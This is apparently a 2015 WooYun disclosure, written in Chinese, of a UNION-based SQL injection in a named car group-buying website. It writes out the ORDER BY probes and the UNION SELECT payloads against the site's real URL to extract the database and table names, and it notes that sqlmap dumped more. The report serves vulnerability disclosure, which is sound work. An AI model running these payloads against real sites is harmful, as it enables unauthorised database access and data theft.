漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0111990
漏洞标题：买车团存在SQL UNION注入漏洞
相关厂商：买车团
漏洞作者： answers
提交时间：2015-05-05 12:09
修复时间：2015-06-19 12:10
公开时间：2015-06-19 12:10
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-05-05： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-06-19： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
买车团，中国第一的汽车团购社区，存在sql注入，可以跨库，跑出很多信息，危害蛮大的
详细说明：
http://car.weimaiche.cn/xiamen/neiye.php?id=4 id存在注入
http://car.weimaiche.cn/xiamen/neiye.php?id=4 order by 14(正常)
http://car.weimaiche.cn/xiamen/neiye.php?id=4 order by 15（不正常）
以上证明有14个字段
http://car.weimaiche.cn/xiamen/neiye.php?id=-4 UNION SELECT 1,2,3,database(),5,6,7,8,9,10,11,12,13,14-- (得出数据库)
http://car.weimaiche.cn/xiamen/neiye.php?id=-4 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=0x6361725f333635（得出表）
继续下去可以得出列名，继而得知用户名和密码。(本人比较懒，不想深入)
漏洞证明：
http://car.weimaiche.cn/xiamen/neiye.php?id=4 id存在注入
http://car.weimaiche.cn/xiamen/neiye.php?id=4 order by 14(正常)
http://car.weimaiche.cn/xiamen/neiye.php?id=4 order by 15（不正常）
以上证明有14个字段
http://car.weimaiche.cn/xiamen/neiye.php?id=-4 UNION SELECT 1,2,3,database(),5,6,7,8,9,10,11,12,13,14-- (得出数据库)
http://car.weimaiche.cn/xiamen/neiye.php?id=-4 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=0x6361725f333635（得出表）
到这里不想下去，用sqlmap跑一下（只是简单的跑一下 就跑出很多个数据库和表，及时的停止了没有深入下去，）
修复方案：
希望厂商能够多注意一下安全吧。该过滤的过滤吧
版权声明：转载请注明来源 answers@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝